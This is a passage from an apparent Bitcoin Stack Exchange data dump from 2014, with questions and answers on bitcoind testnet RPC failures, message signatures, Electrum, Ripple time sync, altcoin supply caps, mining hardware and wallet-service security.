1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;recent .bitcoin/debug.log &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-04-03 16:57:36 getblocks 101541 to 000000000001ac70cc5a1d15886a46f56f45b9c58b7f1a01e83b9f29e11fc3ae limit 500&#xA;2014-04-03 16:57:36   getblocks stopping at 101589 000000000001ac70cc5a1d15886a46f56f45b9c58b7f1a01e83b9f29e11fc3ae&#xA;2014-04-03 16:57:36 received block 000000000000043ad22dd84318ca2671e5b6046746056b6e87e231b725147a34&#xA;2014-04-03 16:57:36 SetBestChain: new best=000000000000043ad22dd84318ca2671e5b6046746056b6e87e231b725147a34  height=184882  log2_work=68.274512  tx=4195579  date=2012-06-16 23:53:21 progress=0.044423&#xA;2014-04-03 16:57:36 ProcessBlock: ACCEPTED&#xA;2014-04-03 16:57:36 stored orphan tx f90973582dbd0843532d9f633fd9dfbd55415206e901e889d9cfa1a515ea075c (mapsz 44)&#xA;2014-04-03 16:57:36 getblocks 101541 to 00000000000161cdee61f93a1273ed30430a8dc291b39cff7b141a6e795732a6 limit 500&#xA;2014-04-03 16:57:36   getblocks stopping at 101596 00000000000161cdee61f93a1273ed30430a8dc291b39cff7b141a6e795732a6&#xA;2014-04-03 16:57:36 received block 00000000000005206a91cb78e77786950eef356915fdfd65846c1bbdb95cc3c1&#xA;2014-04-03 16:57:36 SetBestChain: new best=00000000000005206a91cb78e77786950eef356915fdfd65846c1bbdb95cc3c1  height=184883  log2_work=68.274539  tx=4195806  date=2012-06-17 00:00:59 progress=0.044426&#xA;2014-04-03 16:57:36 ProcessBlock: ACCEPTED&#xA;2014-04-03 16:57:36 getblocks 101541 to 000000000002d1c84a22fc060a77ab23e639901ba88799ba6967681e8963de58 limit 500&#xA;2014-04-03 16:57:36   getblocks stopping at 101599 000000000002d1c84a22fc060a77ab23e639901ba88799ba6967681e8963de58&#xA;2014-04-03 16:57:36 received block 000000000000065eac0093fce961495df4af73a9c8dd5b85dbfe800fc76ef135&#xA;2014-04-03 16:57:36 SetBestChain: new best=000000000000065eac0093fce961495df4af73a9c8dd5b85dbfe800fc76ef135  height=184884  log2_work=68.274567  tx=4196263  date=2012-06-17 00:25:44 progress=0.044431&#xA;2014-04-03 16:57:36 ProcessBlock: ACCEPTED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;recent .bitcoin/testnet3/debug.log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-04-03 16:55:22 SetBestChain: new best=000000004360c981d6d3d03d1958387603756a8e81525f0fff3abdc07e4c3020  height=205584  log2_work=58.170804  tx=1261027  date=2014-03-20 13:43:14 progress=0.996614&#xA;2014-04-03 16:55:22 SetBestChain: new best=00000000233a20dac8d9d2bc567cd0310c131d6c0e30f0303852bcc7acad94cf  height=205585  log2_work=58.170804  tx=1261032  date=2014-03-20 14:03:28 progress=0.996617&#xA;2014-04-03 16:55:23 SetBestChain: new best=00000000c7e3c0ec5c9754255a5ef8fff30012cb9b41393515a2cb1582d5c563  height=205586  log2_work=58.170804  tx=1261082  date=2014-03-20 14:24:16 progress=0.996621&#xA;2014-04-03 16:55:25 SetBestChain: new best=00000000c004c6a0df7518bc7ed9e40c64dee5fd5a8368b5105c357504fbf04c  height=205587  log2_work=58.170804  tx=1261175  date=2014-03-20 14:44:43 progress=0.996625&#xA;2014-04-03 16:55:25 SetBestChain: new best=000000000003288e241b9a9728a7dd9944a24e8df7b7521a15254e0a46fb9bd7  height=205588  log2_work=58.170856  tx=1261207  date=2014-03-20 14:37:50 progress=0.996623&#xA;2014-04-03 16:55:25 SetBestChain: new best=000000000004a9078edbc6c6634d77dad567c92264123e8c7037ff6f1a9b128f  height=205589  log2_work=58.170909  tx=1261219  date=2014-03-20 14:45:13 progress=0.996625&#xA;2014-04-03 16:55:30 SetBestChain: new best=00000000d52dff17b26e6e01e7617ce8799188560c89992bde146cb8dcf0f8b5  height=205590  log2_work=58.170909  tx=1261328  date=2014-03-20 15:05:17 progress=0.996628&#xA;2014-04-03 16:55:30 SetBestChain: new best=000000000001571e38ac949a3a81473548af9851c1244596beae02b061cfb842  height=205591  log2_work=58.170961  tx=1261343  date=2014-03-20 15:12:13 progress=0.996630&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the testnet one is just setbestchain, setbestchain... over and over. Google isn't giving me very clear answers on what might be causing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2: this problem does &lt;em&gt;not&lt;/em&gt; occur with Litecoind. My litecoin.conf file is &lt;em&gt;almost&lt;/em&gt; identical to my bitcoin.conf, except the litecoin one has these lines included.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;daemon=1&#xA;server=1&#xA;gen=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE 3: I deleted my entire &quot;testnet3&quot; directory and re-ran ./bitcoind -testnet -daemon. It worked perfectly and responded to RPC calls UNTIL it downloaded the blocks to a point about 10mb beyond the point it was hanging up on previously... then it stopped responding again, and shortly after, stopped downloading blocks. Still no solution in sight.&lt;/p&gt;&#xA;" OwnerUserId="15023" LastEditorUserId="15023" LastEditDate="2014-04-04T01:34:20.897" LastActivityDate="2014-04-05T14:37:49.847" Title="RPC calls fail in testnet mode, but not normal mode?" Tags="|blockchain|json-rpc|testnet|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24280" PostTypeId="1" AcceptedAnswerId="24293" CreationDate="2014-04-03T15:14:09.647" Score="7" ViewCount="319" Body="&lt;p&gt;Let's say my Bitcoin address is &lt;code&gt;1Nu5mzpUD9A7daZ76QJEsBfkBjCWVLh7pJ&lt;/code&gt; and I sign the message &lt;code&gt;random-challenge&lt;/code&gt; with its private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IAjU1mpvy70Li2Q1jDaNJKaQudaAJia1oF9SYJ8HGGuNffT9ERmc77WgPMONPLHKAhO8d0bhDF5Nvn+AUzS6R04=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bitcoin uses a unique property of ECDSQ which allow to calculate the public key from the message and signature. So if I send to the recipient the above message and signatures he/she will be able to get my address &lt;code&gt;1Nu5mzpUD9A7daZ76QJEsBfkBjCWVLh7pJ&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if I send the same signature and a completely different message, will it derive all the time a valid random Bitcoin address ? And if yes, doesn't this have some serious security implication allowing people to prove they control an address without having the private key ?&lt;/p&gt;&#xA;" OwnerUserId="9229" LastActivityDate="2014-04-04T03:02:09.130" Title="Can you always derive a public Bitcoin address from a message and a random signature?" Tags="|signature|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24282" PostTypeId="2" ParentId="24279" CreationDate="2014-04-03T17:27:18.853" Score="2" Body="&lt;p&gt;You also need to use -testnet when connecting to the daemon. Try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ./bitcoind -testnet getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-03T17:27:18.853" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24283" PostTypeId="1" AcceptedAnswerId="24289" CreationDate="2014-04-03T18:54:54.127" Score="3" ViewCount="830" Body="&lt;p&gt;I'm curious if electrum fully support Hierarchical Deterministic Wallets (BIP32). I have seen in source code that some part of implementation is done. But there are also as I think some electrum specific algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I create new wallet in electrum will it be BIP32 compatible? &lt;/p&gt;&#xA;" OwnerUserId="4726" LastActivityDate="2014-04-05T12:53:35.437" Title="Do electrum fully support Hierarchical Deterministic Wallets?" Tags="|wallet|address|electrum|bip32-hd-wallets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24284" PostTypeId="2" ParentId="8070" CreationDate="2014-04-03T19:07:43.497" Score="0" Body="&lt;p&gt;So far the best method I've found to accomplish this is to go to your address book in the blockchain.info android application and dwell/long-press on the address entry and select set as default address. I've poured over the web application and can't seem to find the equivalent function. Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;You shouldn't care.&quot; is possibly &lt;em&gt;the&lt;/em&gt; most useless answer I have ever wasted my time reading. Everyone is entitled to manage their personal wealth however they see fit.  &lt;/p&gt;&#xA;" OwnerUserId="15025" LastActivityDate="2014-04-03T19:07:43.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24286" PostTypeId="1" CreationDate="2014-04-03T22:18:03.463" Score="2" ViewCount="135" Body="&lt;p&gt;I tried to send 0.00000001 btc to about 7 addresses, and paid the 0.0001 fee. But it seems like this transaction won't go through ever. Those coins are lost :(.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have about 400 sponsors, and they should split about 0.05 btc even (and that's quite a lot of money). I'm thinking about sending them 0.0001 btc each, in one single transaction and pay the 0.01 fee or whatever it'll be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will that go through? What's the requirement to get transactions confirmed for sure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="15016" LastEditorUserId="5406" LastEditDate="2014-04-03T23:02:33.260" LastActivityDate="2014-04-03T23:02:33.260" Title="Need to do 400 transactions, how do I get them confirmed?" Tags="|transactions|transaction-fees|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24287" PostTypeId="2" ParentId="21486" CreationDate="2014-04-03T22:31:31.060" Score="1" Body="&lt;p&gt;I found that some USB2 hubs with enough amps (3-4) can take 3 BiFury each easily reaching 5.2-5.6 GH/s. I have 5 running off two 5V 3A hubs daisy chained off of a RaspberryPi with &lt;code&gt;minepeon&lt;/code&gt;, works well. You 100% need a couple of fans to keep these cool, I am using arctic breeze, works fine. Errors are at about 4% and temps range from 38 to 50°.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the conclusion is… USB2 will work well with BiFury just make sure you have a good amount of amps to supply the thirsty 0.9A they need each! I think they are a good miner for people to get started without spending to much.&lt;/p&gt;&#xA;" OwnerUserId="15029" LastEditorUserId="5406" LastEditDate="2016-03-17T15:06:33.800" LastActivityDate="2016-03-17T15:06:33.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24288" PostTypeId="1" AcceptedAnswerId="24292" CreationDate="2014-04-03T23:39:45.713" Score="2" ViewCount="154" Body="&lt;p&gt;Does Ripple use NTP or expect the nodes to do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, why not?  It seems that Ripple is a little more closed than your standard cryptocurrency, so this doesn't seem like an excessive demand.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-04-04T02:57:04.720" Title="Does Ripple use NTP?" Tags="|ripple|network|time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24289" PostTypeId="2" ParentId="24283" CreationDate="2014-04-04T00:43:28.363" Score="4" Body="&lt;p&gt;BIP32 support is planned for Electrum version 2.0. The code is already there, but disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find some features that were first planned for 2.0, but were included in a 1.9.8 release as the servers were being updated to a new important version so it was needed to apply some changes already to the client to put all in place for 2.0 &lt;a href=&quot;https://bitcointalk.org/index.php?topic=518133.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=518133.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="2467" LastEditDate="2014-04-05T12:53:35.437" LastActivityDate="2014-04-05T12:53:35.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24290" PostTypeId="2" ParentId="7620" CreationDate="2014-04-04T02:08:33.073" Score="0" Body="&lt;p&gt;In my understanding, the difference between a gateway and any random user is that a gateway has a well-defined process for getting non-Ripple stores of value into and out of the system. Users have to register with the gateway, and then they can put money in or get money out. So if you have some random IOUs, they probably won't be worth much because anyone wanting to redeem them will have to track down the random person and convince them to exchange their IOUs for actual items of value. But if you have a gateway's IOUs, they'll probably be worth close to par, depending on how streamlined the process is of getting the real value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a gateway stops processing redemptions, it's no longer a gateway.&lt;/p&gt;&#xA;" OwnerUserId="15035" LastActivityDate="2014-04-04T02:08:33.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24291" PostTypeId="2" ParentId="7613" CreationDate="2014-04-04T02:19:25.603" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What will happen when a gateway refuses to accept IOUs, and transfer money back to user?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then it's no longer a gateway, it's just some random user of Ripple, and nobody should do business with it. I'd only do business with a gateway that I could sue or press charges against if they reneged.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there anything similar to 'interest rate' for holding IOUs for long time?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not automatically. Gateways would have to set up a script or process for sending &quot;interest payments&quot; to the holders of their IOUs. (Similar to how a company sends dividends to holders of its stock)&lt;/p&gt;&#xA;" OwnerUserId="15035" LastActivityDate="2014-04-04T02:19:25.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24292" PostTypeId="2" ParentId="24288" CreationDate="2014-04-04T02:57:04.720" Score="3" Body="&lt;p&gt;The Ripple server has SNTP support to tolerate system clocks that are inaccurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The consensus process also builds a consensus network time. Each validator pulls the consensus network time a bit closer to their local time. This consensus network time becomes the close times included in ledgers that support features like expiring cross-currency offers.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-04-04T02:57:04.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24293" PostTypeId="2" ParentId="24280" CreationDate="2014-04-04T03:02:09.130" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Now, if I send the same signature and a completely different message, will it derive all the time a valid random Bitcoin address ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And if yes, doesn't this have some serious security implication allowing people to prove they control an address without having the private key ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. In order to prove you control an address, you must do much more than just produce a signature generated by that address. Otherwise, if you were in possession of anyone else's proof, you could claim it as your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The validation process consists of three steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Ensure the signature correctly signs the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Ensure the public key used for the signatures matches the Bitcoin address you are expecting proof of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Make sure the signed payload actually proves the person you think controls the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your mutilation would break step 1. Since you're changing the message, the signature no longer signs the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;verifymessage&lt;/code&gt; command does steps 1 and 2. Step 3 must be done by higher-level code depending on the context.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-04-04T03:02:09.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24296" PostTypeId="1" AcceptedAnswerId="24297" CreationDate="2014-04-04T04:13:45.520" Score="2" ViewCount="150" Body="&lt;p&gt;I have multiple Bitcoin addresses in my Bitcoin Daemon, &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Which address will be used for receive transaction&lt;/li&gt;&#xA;&lt;li&gt;Can i change my default account address(mentioned in 1) to new one&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14629" LastActivityDate="2014-04-04T04:29:55.620" Title="Is change of Bitcoin address of an account possible?" Tags="|transactions|bitcoind|bitcoin-core|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24297" PostTypeId="2" ParentId="24296" CreationDate="2014-04-04T04:29:55.620" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes, you can generate a new address and use that to receive transactions instead. However, note that funds from the old address don't automatically get transferred to the new address, so don't delete the private key to your old address! If you always keep a copy of your &lt;code&gt;wallet.dat&lt;/code&gt; safe (with backups), you don't need to worry about this.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;(default)&lt;/code&gt; thing is just a label. You can rename it to anything you want. There is no difference between the &quot;default&quot; address and a new one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-04-04T04:29:55.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24298" PostTypeId="1" CreationDate="2014-04-04T06:34:04.017" Score="1" ViewCount="808" Body="&lt;p&gt;In the Netherlands, it was just in the news the e-gulden was launched.&#xA;Before we got the Euro (€) we had that currency in our country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An E-gulden (EFL) is currently 50 EFL = €1,50&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is there for any cryptocurrenty a limit? Or could the creators just create as many as they like? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Bitcoin &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/161/how-many-bitcoins-will-there-eventually-be&quot;&gt;has a maximum coin limit&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15040" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2017-03-17T12:47:12.273" Title="Do all Bitcoin alternatives need to have a coin limit?" Tags="|protocol|altcoin|reward-schedule|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24299" PostTypeId="2" ParentId="24298" CreationDate="2014-04-04T06:43:39.130" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://e-gulden.com&quot; rel=&quot;nofollow&quot;&gt;E-Gulden has a limit of 21 Million.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most, but not all cryptos have a limit, for example DogeCoin recently announced that there would be a minimum reward of 10,000 doge for every block after the previously announced reward schedule was supposed to end.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-04-04T06:43:39.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24300" PostTypeId="1" AcceptedAnswerId="24313" CreationDate="2014-04-04T07:39:56.097" Score="0" ViewCount="10305" Body="&lt;p&gt;My MultiBit wallet won't open, because &quot;Java is not installed&quot;, though I have Java 8, 7u51, and 6u49 installed... Which version of Java should I have installed?&lt;/p&gt;&#xA;" OwnerUserId="15041" LastActivityDate="2021-05-18T13:48:17.227" Title="MultiBit won't open, says &quot;Java not installed&quot;" Tags="|wallet|multibit|error|java|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24301" PostTypeId="2" ParentId="24298" CreationDate="2014-04-04T08:05:42.867" Score="0" Body="&lt;p&gt;Nope, they &lt;em&gt;aren't required&lt;/em&gt; to have a limit. The Bitcoin wiki explains &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow&quot;&gt;why a coin cap is useful&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But an important thing here is that they aren't required to have a coin cap. There is no authority dictating what an altcoin can and can't do. Right now you can go out and create a coin with any feature you want, maybe it won't be viable but it is up to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a quick search I found that &lt;a href=&quot;https://bitcointalk.org/index.php?topic=60026.0&quot; rel=&quot;nofollow&quot;&gt;Liquidcoin&lt;/a&gt; has a minimum of 1 coin per block. Meaning that over an infinite time span the amount of Liquidcoins in existence is infinite.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="11369" LastEditDate="2014-04-04T20:02:01.297" LastActivityDate="2014-04-04T20:02:01.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24303" PostTypeId="2" ParentId="24278" CreationDate="2014-04-04T08:30:54.127" Score="2" Body="&lt;p&gt;The pastebin you linked describes the harm caused as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What'll happen is that that will trigger the anti-virus program for&#xA;  every bitcoin client user that has an anti-virus program installed&#xA;  (and this won't go away ever.. you can't clean the database). Those&#xA;  virus signatures are harmless in their own, but they are something&#xA;  that anti-virus program use to recognize viruses. The anti-virus&#xA;  programs will think that the local bitcoin database is infected.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If a transaction manages to trigger an anti-virus alert for someone, I'd blame it on the anti-virus program being badly designed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes it will probably be annoying for a bunch of users but Bitcoin already has a strict enough rule set to make this hard to happen. 20 bytes isn't a lot, for most computers, a single standard word character is 1 byte. If a virus program goes around looking for suspicious data that is 20 bytes long they will run into a lot of false positives. And I doubt that there is any seriously dangerous virus that is under 20 bytes in size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very hard to pull off anything harmful, you will need to develop a virus that only takes up &amp;lt;20 bytes and can destroy a system. Otherwise anti-virus programs would show you a warning that you can possibly close/ignore, it's up to the anti-virus programs to be smart enough to discern.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="11369" LastEditDate="2014-04-05T17:23:42.693" LastActivityDate="2014-04-05T17:23:42.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24304" PostTypeId="2" ParentId="24217" CreationDate="2014-04-04T12:27:27.650" Score="0" Body="&lt;p&gt;First: I doubt there's any point in doing this. A lot of work and potential for creating DOS and other exploit posibilities for proably no gain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However: one way I could think of is somehow requiring the miners to sign each block, so you could only accept 1 block per x days from each miner. So that means you need to give each miner a private key with which they sign their blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next problem then is that you need some way to prevent the same miner from simply using 100 different private keys. So you have to have some mechanism to regulate those private keys: some central organisation handing them out or some trick where those keys are kept track of on the blockchain again. In the end you'll always have a problem that you don't know who you are giving a key to: maybe he already has 20 keys.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-04-04T12:27:27.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24305" PostTypeId="2" ParentId="23087" CreationDate="2014-04-04T14:32:35.797" Score="0" Body="&lt;p&gt;When designing a security system first you must decide on the level of security needed. What level of security are you looking for? How many $/coin will this be protecting? What are the attacks you are protecting against?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are high end devices that self-destruct on detection of tampering or attack used by the banking industry and other places keys need to be secured, if you are creating a large-scale site definitely look into that option. As an example Apple uses HSMs (Hardware Security Modules)) to secure their message service user keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are concerned about PHP or scripting languages in general use a compiled language for the secure portion of the site. Separate the secure portion from the user facing portion of the site. By segregating the security portion into a self contained section the actual security portion will be smaller and thus easier to vet. Also reduce the interface to the secure portion and validate all inputs. You do not want the secure code intermingled with the entire site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I designed mass market security products I paid a top level security expert to vet my design and implementation. His first questions were along the line of what I asked above and more. Cost was about $2,000/day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pay attention to the answer by @user18443.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastEditorUserId="10577" LastEditDate="2014-04-04T15:16:27.937" LastActivityDate="2014-04-04T15:16:27.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24306" PostTypeId="2" ParentId="23087" CreationDate="2014-04-04T15:05:14.520" Score="1" Body="&lt;p&gt;You should assume your site is going to be hacked, and design with that in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blaming things on &quot;poor coding&quot; is a get out. There will always be bugs. You must be sure your procedures, your protocols, are faultless despite these bugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The majority of bitcoins should be in offline storage, and your hot wallet should be on its own dedicated server, with access through some kind of very limited API that does sanity checks and rate limiting on everything. (Access could be through a custom and very carefully written daemon i.e. not just some Apache HTTP API with associated vulnerabilities!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, the user owns an encryption key that is used to somehow client side sign transactions (or any other action they take) which are applied to their account or the hot wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even then, a hacker could presumably hijack the serving of your pages, modify the crypto etc to steal their key. But at least if the user's key was only generated once and is only used by them occasionally, the chance for massive theft is reduced. Two factor auth may help too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have daemons on other hidden servers that regularly check your site and its resources for tampering, suspending everything if necessary. Perhaps release a browser add-on which verifies your site. Your entire site could be signed, and the add-on could request a new signature to verify any changes. (And you perform this signing offline). As long as the user's browser or the add-on publishing system doesn't get compromised, you'll be alright ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarise all that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;client side encryption/authorisation of any action a user can take&lt;/li&gt;&#xA;&lt;li&gt;this simply tunnels through the terribly insecure WWW/apache etc layer to a very limited access highly secure &quot;hot wallet&quot; server&lt;/li&gt;&#xA;&lt;li&gt;some way of verifying that client side encryption is not compromised, e.g. watchdogs running on IPs unknown to attackers&lt;/li&gt;&#xA;&lt;li&gt;(and lots of other watchdogs all over the place which halt service at the slightest cause for concern)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You'll do all this and then your hosting provider will be compromised by social engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the day, all said and done, your most effective protection will be the offline cold wallet with manual (and slow and annoying) transfers of customer's funds, and regular audits to check all funds are actually there (mtgox lol).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw, this is written by somebody with no background in security, imagine what somebody who &lt;em&gt;did&lt;/em&gt; have such a background might write ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final point: If you are thinking of running a wallet service, don't. Just don't. Give up now. It's going to end in tears, and death threats.&lt;/p&gt;&#xA;" OwnerUserId="15049" LastActivityDate="2014-04-04T15:05:14.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24307" PostTypeId="2" ParentId="19111" CreationDate="2014-04-04T15:16:16.960" Score="1" Body="&lt;p&gt;So if you read the fine print on &quot;Easy Miner&quot;, you can only use the software with their hardware devices in &quot;out-of-the-box&quot; mode (direct download --&gt; run) (Disclaimer: I have a Jalapeno 5 GH/s miner, this shows up as a valid device. My GPU does not, however). &#xA;See &lt;a href=&quot;https://forums.butterflylabs.com/easyminer-support/3077-i-cant-get-easyminer-gpu-mine-windows-7-pro.html&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; about how to configure GPU mining. I believe it's in the settings, plus you need to set a bunch of flags to get the miner to recognize your GPU settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would most likely be better off using CGminer / BFGminer, if you want to go the GPU mining route, however as the comment says, you're unlikely to get any real yields from any amount of GPUs, as they are just not as efficient as ASICs or FPGAs (see &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; for a good comparison of dedicated hardware versus graphics cards).&lt;/p&gt;&#xA;" OwnerUserId="15050" LastActivityDate="2014-04-04T15:16:16.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24308" PostTypeId="1" AcceptedAnswerId="24329" CreationDate="2014-04-04T15:32:59.543" Score="2" ViewCount="1718" Body="&lt;p&gt;I've been wanting to join in the fun on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=538423.0&quot; rel=&quot;nofollow&quot;&gt;this Bitcoin transaction contest&lt;/a&gt; but while I'm comfortable enough working out the scripts themselves and playing with the web-based tools suggested, as a relative newbie to Bitcoin I haven't got a clue how to use bitcoind/qt to do the raw transaction validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded bitcoind/qt/cli but I don't know what to put in my bitcoin.conf nor do I know how to run the tools nor what data I should feed them in order to validate my raw transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd prefer to run my raw transaction validations offline but I don't even know if that's a possibility with these tools?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite searching wikis, forums, etc, I haven't found a 'dummy's guide' for these tools; everything seems to start from a level of knowledge which is somewhere above where I am at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be very grateful if somebody could point me in the direction of some suitable information or else provide it here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And although the organiser of the Bitcoin contest proposed using bitcoind for validating raw transactions I'm happy to consider any other tools/services that would do the equivalent job so if anybody can point me at (simpler?) alternatives that would be fine too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="14726" LastActivityDate="2014-04-05T03:55:52.883" Title="How to validate raw transactions using bitcoind 